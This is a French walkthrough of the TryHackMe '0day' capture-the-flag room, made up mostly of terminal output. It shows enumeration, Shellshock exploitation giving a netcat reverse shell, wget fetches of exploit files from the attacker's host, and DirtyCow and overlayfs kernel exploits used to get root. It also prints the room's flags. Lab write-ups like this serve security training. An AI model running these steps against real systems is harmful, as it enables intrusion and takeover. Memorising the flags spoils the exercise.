Commençons comme d'habitude avec les énumérations classiques: nmap et gobuster.
1. Nmap
2. Gobuster
3. Nikto
Ne pas oublier de modifier /etc/nikto.conf et de mettre FAILURES=0
[Task 2] Exploitation
1. Contenu des répertoires trouvés
Gobuster a touvé un robots.txt et une série de répertoires.
robots.txt
Rien d'intéressant dans robots.txt
robots.txt
répertoire /backup
id_rsa dans /dev
Le répertoire contient un clé privée RSA encryptée. Pour le moment nous n'avons aucune idée du contexte et nous n'avons aucun nom d'utilisateur. Sauvegardons quand même la clé pour plus tard, mais je crains que cela ne va nous mener nulle part et que ce ne soit qu'un 'rabbit hole'.
répertoire /secret
Le répertoire /secret contient une belle image de tortue, référence à la description 'like a Turtle in a Hurricane'.
L'exploration du contenu des autres répertoires ne mène à rien d'exploitable.
2. /cgi-bin
Le scan Nikto nous révèle que
Apache/2.4.7 appears to be outdated
/cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
[Task 3] Prise pied sur la machine cible
Après une recherche google avec 'github CVE-2014-6271 reverse shell', j'ai trouvé ce site https://github.com/0xTabun/CVE-2014-6271/tree/main qui nous donne un fichier python shellshock.py ainsi qu'un exécutable shellshock.sh pour exploiter la vulnérabilité.
Pour plus de clarté, renommons 40616.c en dirtycow.c
cc1 est bien présent sur la machine cible
Si le fichier est présent sur la machine et que gcc ne le trouve pas, c'est qu'il doit s'agir d'un problème de PATH, un problème de chemin d'accès. Comparons le PATH de l'utilisateur avec le PATH par défaut dans le fichier /etc/environment:
On peut constater que les bin et sbin on été inversés dans le PATH utilisateur par rapport au PATH par défaut. Sans savoir si cela est la cause, rétablissons le PATH par défaut et réessayons la compilation.
4. Réponses aux questions
Questions
Réponses
user.txt
THM{Sh3llSh0ck_r0ckz}
root.txt
THM{g00d_j0b_0day_is_Pleased}
5. Bonus overlayfs
Le scan les.sh nous dit que nous pouvons également utiliser l'exploit overlayfs.
Pour plus de clarté, renommons 37292.c en ofs.c
Comme pour DirtyCow, il faut faire un reset du PATH
┌──(kali㉿kali)-[~/THM/0day]
└─$ nmap $IP -A -p- -oN nmap.txt -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 16:50 CET
Nmap scan report for 10.10.95.43
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
| 2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
| 256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
|_ 256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0day
|_http-server-header: Apache/2.4.7 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/22%OT=22%CT=1%CU=43926%PV=Y%DS=2%DC=T%G=Y%TM=676
OS:83559%P=x86_64-pc-linux-gnu)SEQ(II=I)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%TS=8)
OS:SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI
OS:=I%II=I%TS=8)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST
OS:11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=
OS:68DF%W6=68DF)ECN(R=N)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)T1(R=
OS:Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T4(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=N)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%
OS:RD=0%Q=)T6(R=N)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)T7(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=N)U1(R=Y%DF=N%T=40%IPL=164%
OS:UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 23.51 ms 10.9.0.1
2 23.70 ms 10.10.95.43
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.69 seconds
┌──(kali㉿kali)-[~/THM/0day]
└─$ nikto -h $IP
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 10.10.95.43
+ Target Hostname: 10.10.95.43
+ Target Port: 80
+ Start Time: 2024-12-22 17:06:40 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Server may leak inodes via ETags, header found with file /, inode: bd1, size: 5ae57bb9a1192, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /cgi-bin/test.cgi: Uncommon header '93e4r0-cve-2014-6271' found, with contents: true.
+ /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278
+ /admin/: This might be interesting.
+ /backup/: This might be interesting.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /secret/: This might be interesting.
+ /cgi-bin/test.cgi: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /admin/index.html: Admin login page/section found.
+ 8949 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time: 2024-12-22 17:13:51 (GMT1) (431 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
nc -lvnp 12345
┌──(kali㉿kali)-[~/THM/0day]
└─$ chmod +x shellshock.sh
┌──(kali㉿kali)-[~/THM/0day]
└─$ ./shellshock.sh
Enter the full url of target (http://target/cgi-bin/vulnerable.sh):
http://10.10.230.197/cgi-bin/test.cgi
Your LHOST for reverse shell:
10.9.2.192
Your LPORT for reverse shell:
12345
Targets Status code is 200
--------------------------------------
Target : http://10.10.230.197/cgi-bin/test.cgi
Local Host : 10.9.2.192
Local Port : 12345
--------------------------------------
Is this correct? [y/n]:
y
Opening new terminal..
./shellshock.sh: line 23: gnome-terminal: command not found
┌──(kali㉿kali)-[~/THM/0day]
└─$ nc -lvnp 12345
listening on [any] 12345 ...
connect to [10.9.2.192] from (UNKNOWN) [10.10.230.197] 46037
bash: cannot set terminal process group (883): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
www-data@ubuntu:/usr/lib/cgi-bin$ ls -l /home
total 4
drwxr-xr-x 3 ryan ryan 4096 Sep 2 2020 ryan
www-data@ubuntu:/usr/lib/cgi-bin$ ls -l /home/ryan
total 4
-rw-rw-r-- 1 ryan ryan 22 Sep 2 2020 user.txt
www-data@ubuntu:/usr/lib/cgi-bin$ cat /home/ryan/user.txt
THM{Sh3llSh0ck_r0ckz}
www-data@ubuntu:/usr/lib/cgi-bin$
This is a very old operating system you've got here, isn't it?..
www-data@ubuntu:/usr/lib/cgi-bin$ uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
www-data@ubuntu:/usr/lib/cgi-bin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.1 LTS
Release: 14.04
Codename: trusty
www-data@ubuntu:/usr/lib/cgi-bin$
www-data@ubuntu:/usr/lib/cgi-bin$ cd /dev/shm
www-data@ubuntu:/dev/shm$ wget 10.9.2.192:8000/les.sh
--2024-12-23 06:38:48-- http://10.9.2.192:8000/les.sh
Connecting to 10.9.2.192:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 90858 (89K) [text/x-sh]
Saving to: 'les.sh'
0% [ ] 0 --.-K/s 100%[==========================================================================================>] 90,858 --.-K/s in 0.08s
2024-12-23 06:38:48 (1.06 MB/s) - 'les.sh' saved [90858/90858]
www-data@ubuntu:/dev/shm$ chmod +x les.sh
www-data@ubuntu:/dev/shm$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
www-data@ubuntu:/dev/shm$ wget 10.9.2.192:8000/dirtycow.c
--2024-12-23 07:20:56-- http://10.9.2.192:8000/dirtycow.c
Connecting to 10.9.2.192:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4963 (4.8K) [text/x-csrc]
Saving to: 'dirtycow.c'
0% [ ] 0 --.-K/s 100%[==========================================================================================>] 4,963 --.-K/s in 0s
2024-12-23 07:20:56 (33.6 MB/s) - 'dirtycow.c' saved [4963/4963]
www-data@ubuntu:/dev/shm$ gcc dirtycow.c -o cowroot -pthread
gcc: error trying to exec 'cc1': execvp: No such file or directory
www-data@ubuntu:/dev/shm$
www-data@ubuntu:/dev/shm$ gcc dirtycow.c -o cowroot -pthread
dirtycow.c: In function 'procselfmemThread':
dirtycow.c:99:9: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [enabled by default]
lseek(f,map,SEEK_SET);
^
In file included from dirtycow.c:28:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
dirtycow.c: In function 'main':
dirtycow.c:142:5: warning: format '%d' expects argument of type 'int', but argument 2 has type '__off_t' [-Wformat=]
printf("Size of binary: %d\n", st.st_size);
^
www-data@ubuntu:/dev/shm$ ls -l
total 116
-rwxr-xr-x 1 www-data www-data 14294 Dec 23 07:45 cowroot
-rw-r--r-- 1 www-data www-data 4963 Dec 21 09:10 dirtycow.c
-rwxr-xr-x 1 www-data www-data 90858 Sep 30 08:17 les.sh
www-data@ubuntu:/dev/shm$
www-data@ubuntu:/dev/shm$ ./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 47032
Racing, this may take a while..
/usr/bin/passwd is overwritten
Popping root shell.
Don't forget to restore /tmp/bak
thread stopped
thread stopped
root@ubuntu:/run/shm# whoami
root
root@ubuntu:/run/shm# cat /root/root.txt
THM{g00d_j0b_0day_is_Pleased}
root@ubuntu:/run/shm#
┌──(kali㉿kali)-[~/THM/0day]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 12345
export TERM=xterm
www-data@ubuntu:/usr/lib/cgi-bin$ cd /dev/shm
www-data@ubuntu:/dev/shm$ wget 10.9.2.192:8000/ofs.c
--2024-12-24 01:17:08-- http://10.9.2.192:8000/ofs.c
Connecting to 10.9.2.192:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: 'ofs.c'
100%[======================================>] 5,119 --.-K/s in 0.02s
2024-12-24 01:17:08 (306 KB/s) - 'ofs.c' saved [5119/5119]
www-data@ubuntu:/dev/shm$ gcc ofs.c -o ofs
gcc: error trying to exec 'cc1': execvp: No such file or directory
usr/bin:/sbin:/binev/shm$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/
www-data@ubuntu:/dev/shm$
www-data@ubuntu:/dev/shm$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@ubuntu:/dev/shm$ gcc ofs.c -o ofs
www-data@ubuntu:/dev/shm$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cat /root/root.txt
THM{g00d_j0b_0day_is_Pleased}
#
